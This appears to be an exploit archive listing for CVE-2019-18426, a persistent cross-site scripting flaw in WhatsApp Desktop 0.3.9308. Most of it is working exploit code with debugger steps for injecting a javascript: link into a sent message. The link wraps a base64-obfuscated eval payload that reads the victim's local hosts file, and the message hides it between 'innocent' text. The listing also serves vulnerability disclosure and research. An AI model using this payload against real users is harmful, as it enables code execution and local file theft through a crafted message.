Share
## https://sploitus.com/exploit?id=PACKETSTORM:157097
# Title: WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting  
# Date: 2020-01-21  
# Exploit Author: Gal Weizman  
# Vendor Homepage: https://www.whatsapp.com  
# Software Link: https://web.whatsapp.com/desktop/windows/release/x64/WhatsAppSetup.exe  
# Software Link: https://web.whatsapp.com/desktop/mac/files/WhatsApp.dmg  
# Version: 0.3.9308  
# Tested On: Mac OS, Windows, iPhone  
# CVE: https://nvd.nist.gov/vuln/detail/CVE-2019-18426  
  
// step 1: open WhatsApp Web and enter a conversation (Will only work on WhatsApp Web source code as compiled with version 0.3.9308)  
// step 2: open devtools and search in all files "t=e.id"  
// step 3: after prettifying, set a breakpoint at the line where "t = e.id" can be found  
// step 4: paste "https://example.com" in the text box and hit "Enter"  
// step 5: when the code stops at the breakpoint, paste the following exploit code in the console and hit "Enter"  
  
var payload = `(async function() {  
alert(navigator.userAgent);  
(async function() {  
// read "file:///C:/windows/system32/drivers/etc/hosts" content  
const r = await fetch(atob('ZmlsZTovLy9DOi93aW5kb3dzL3N5c3RlbTMyL2RyaXZlcnMvZXRjL2hvc3Rz'));  
const t = await r.text();  
alert(t);  
}())  
}())`;  
  
payload = `javascript:"https://example.com";eval(atob("${btoa(payload)}"))`;  
  
e.__x_matchedText = payload;  
  
e.__x_body = `  
Innocent text  
  
${payload}  
  
More Innocent text  
`;  
  
// step 6: press F8 in order for the execution to continue  
// result: a message should be sent to the victim that once is clicked will execute the payload above  
  
// further information: https://github.com/weizman/CVE-2019-18426